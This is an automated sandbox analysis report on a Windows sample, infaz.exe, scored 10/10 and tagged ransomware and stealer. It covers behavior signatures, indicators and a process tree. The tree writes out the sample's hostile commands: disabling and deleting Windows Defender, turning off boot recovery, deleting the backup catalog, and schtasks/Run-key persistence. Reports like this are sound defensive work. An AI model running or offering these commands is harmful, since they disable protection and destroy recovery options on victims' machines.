77f602ab8567fa108529c14bb357cd997f272347d122fde19dcf950afa97ce78

Analysis

max time kernel
4s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
11/11/2026, 05:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
infaz.exe
Size 1.4MB
Sample261111-gpvm4at12r
SHA256 77f602ab8567fa108529c14bb357cd997f272347d122fde19dcf950afa97ce78
MD5 4e9d3527344817072e89f05813a5c0cf
SHA1 155ab3754c15749bcf694a267bf8155dc59b7e7e
SHA512 9d824dd508a7611e2ea19d409d3d22409f79b4507b19a12a8d4c60f7a9c36589a0317e7b1f8ba0dff10fb865417347c95167790ab5b9ed68fcc682cf82329a1a
SSDEEP 24576:1Tif6hysWbIkDWYOJf82frKnHnNnjbNYYLIx5Uvk:RiShysWbIkDWYOR822HrY
TLSH
T1C5659D0BA3B900EDD167D279C9065607EFB2B4051324ABDB5790CA662F23FE15F7A321
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion execution exploit persistence ransomware spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	infaz.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	infaz.exe

Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3532	bcdedit.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3008	wbadmin.exe
6128	wbadmin.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
4180	icacls.exe
3728	takeown.exe
5516	takeown.exe
6068	icacls.exe
2356	takeown.exe
6008	takeown.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6008	takeown.exe
4180	icacls.exe
3728	takeown.exe
5516	takeown.exe
6068	icacls.exe
2356	takeown.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\infaz.exe"	infaz.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\infaz.exe"	infaz.exe

Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
3	discord.com
48	discord.com
66	discord.com
67	discord.com
1	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\ProtectionManagement.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\shellext.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpClient.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MsMpRes.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpOAV.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpRtp.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpEvMsg.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ProtectionManagement_Uninstall.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ProtectionManagement_Uninstall.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ThirdPartyNotices.txt	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\DefenderCSP.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpCommu.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpDetours.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ProtectionManagement.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpSvc.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpDlp.dll	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\AmStatusInstall.mof	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\MpDlpService.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\en-US\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\Offline\OfflineScannerShell.exe	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5456	sc.exe
3496	sc.exe
1848	sc.exe
5924	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 20 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4088	cmd.exe
1116	cmd.exe
4160	cmd.exe
3660	cmd.exe
4284	cmd.exe
2732	cmd.exe
2228	cmd.exe
5668	cmd.exe
5892	cmd.exe
4380	cmd.exe
2324	cmd.exe
5828	cmd.exe
5848	cmd.exe
3788	cmd.exe
4824	cmd.exe
4344	cmd.exe
4528	cmd.exe
3372	cmd.exe
4616	cmd.exe
2992	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	infaz.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	infaz.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1656	msedge.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6000	schtasks.exe
5860	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2904	infaz.exe
2904	infaz.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	6008	takeown.exe
Token: SeTakeOwnershipPrivilege	3728	takeown.exe
Token: SeTakeOwnershipPrivilege	2356	takeown.exe
Token: SeBackupPrivilege	3140	wbengine.exe
Token: SeRestorePrivilege	3140	wbengine.exe
Token: SeSecurityPrivilege	3140	wbengine.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 4380	2904	infaz.exe	88
PID 4380 wrote to memory of 6000	4380	cmd.exe	90
PID 2904 wrote to memory of 4160	2904	infaz.exe	91
PID 4160 wrote to memory of 5456	4160	cmd.exe	93
PID 2904 wrote to memory of 2324	2904	infaz.exe	94
PID 2324 wrote to memory of 3496	2324	cmd.exe	97
PID 2904 wrote to memory of 4344	2904	infaz.exe	98
PID 2824 wrote to memory of 4528	2824	infaz.exe	101
PID 4344 wrote to memory of 6008	4344	cmd.exe	103
PID 4528 wrote to memory of 5860	4528	cmd.exe	104
PID 2904 wrote to memory of 4088	2904	infaz.exe	105
PID 2824 wrote to memory of 3660	2824	infaz.exe	106
PID 3660 wrote to memory of 1848	3660	cmd.exe	109
PID 4088 wrote to memory of 4180	4088	cmd.exe	110
PID 2824 wrote to memory of 4284	2824	infaz.exe	111
PID 2904 wrote to memory of 3372	2904	infaz.exe	113
PID 4284 wrote to memory of 5924	4284	cmd.exe	115
PID 2904 wrote to memory of 5828	2904	infaz.exe	116
PID 2824 wrote to memory of 1116	2824	infaz.exe	118
PID 5828 wrote to memory of 3728	5828	cmd.exe	120
PID 1116 wrote to memory of 5516	1116	cmd.exe	121
PID 2824 wrote to memory of 2732	2824	infaz.exe	122
PID 2732 wrote to memory of 6068	2732	cmd.exe	124
PID 2904 wrote to memory of 5848	2904	infaz.exe	125
PID 2824 wrote to memory of 2228	2824	infaz.exe	163
PID 2904 wrote to memory of 3788	2904	infaz.exe	129
PID 2824 wrote to memory of 4824	2824	infaz.exe	131
PID 3788 wrote to memory of 3532	3788	cmd.exe	133
PID 2904 wrote to memory of 5668	2904	infaz.exe	134
PID 4824 wrote to memory of 2356	4824	cmd.exe	136
PID 5668 wrote to memory of 3008	5668	cmd.exe	137
PID 2824 wrote to memory of 5892	2824	infaz.exe	141
PID 2824 wrote to memory of 4616	2824	infaz.exe	143
PID 2824 wrote to memory of 2992	2824	infaz.exe	145
PID 2904 wrote to memory of 416	2904	infaz.exe	147
PID 416 wrote to memory of 5548	416	msedge.exe	148
PID 2992 wrote to memory of 6128	2992	cmd.exe	149

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\infaz.exe
"C:\Users\Admin\AppData\Local\Temp\infaz.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4380
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\infaz.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop WinDefend >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4160
- - C:\Windows\system32\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:5456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:3496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\ProgramData\Microsoft\Windows Defender" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f "C:\Program Files\Windows Defender" /r /d y >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5828
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Program Files\Windows Defender" /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rd /s /q "C:\Program Files\Windows Defender" >nul 2>&1
  2⤵
  - Drops file in Program Files directory
  - Executes a command shell one-liner
  PID:5848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5668
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://youtu.be/vVnHiauGThU?si=ONj29tapvD0j9_lx
  2⤵
  - Enumerates system info in registry
  - Suspicious use of WriteProcessMemory
  PID:416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2fc,0x300,0x304,0x2f8,0x32c,0x7ffa512ac188,0x7ffa512ac194,0x7ffa512ac1a0
    3⤵
    PID:5548
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1724,i,5803175902652781271,14160897211105754250,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1552,i,7992238386863695716,11900045638080224879,262144 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=2232 /prefetch:2
    3⤵
    PID:5456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2356,i,7168101893675174591,17572065490412400566,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=2764 /prefetch:13
    3⤵
    PID:5900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3456,i,816017799796376086,78274203451824195,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
    3⤵
    PID:4956
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3460,i,15828687904940604883,7684621779915613859,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
    3⤵
    PID:5692
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4188,i,12336782189723699020,12248629762051390604,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=4388 /prefetch:1
    3⤵
    PID:3312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4200,i,2949876587986776063,18234229375824129933,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=4320 /prefetch:9
    3⤵
    PID:6064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5204,i,4038119556926343978,8557905868497379224,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=5264 /prefetch:1
    3⤵
    PID:5784
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5164,i,2074907026106824455,9803673460186788820,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=4024 /prefetch:14
    3⤵
    PID:4320
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5552,i,1443570603128974161,17814216543234064374,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:1
    3⤵
    PID:2228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5732,i,10797126857965703797,12007491006589068860,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:1
    3⤵
    PID:2932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5784,i,1803363573704166969,9545574322382938730,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:1
    3⤵
    PID:1644
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,112753651024764606,4848070899216388482,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:14
    3⤵
    PID:1820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6124,i,16610944815101807193,1058253508970415216,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:14
    3⤵
    PID:5212
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6516,i,10993548319073768284,2776343305712759784,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:1
    3⤵
    PID:2060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=5244,i,3192540665021876791,13071105443350911386,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=5236 /prefetch:1
    3⤵
    PID:1276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
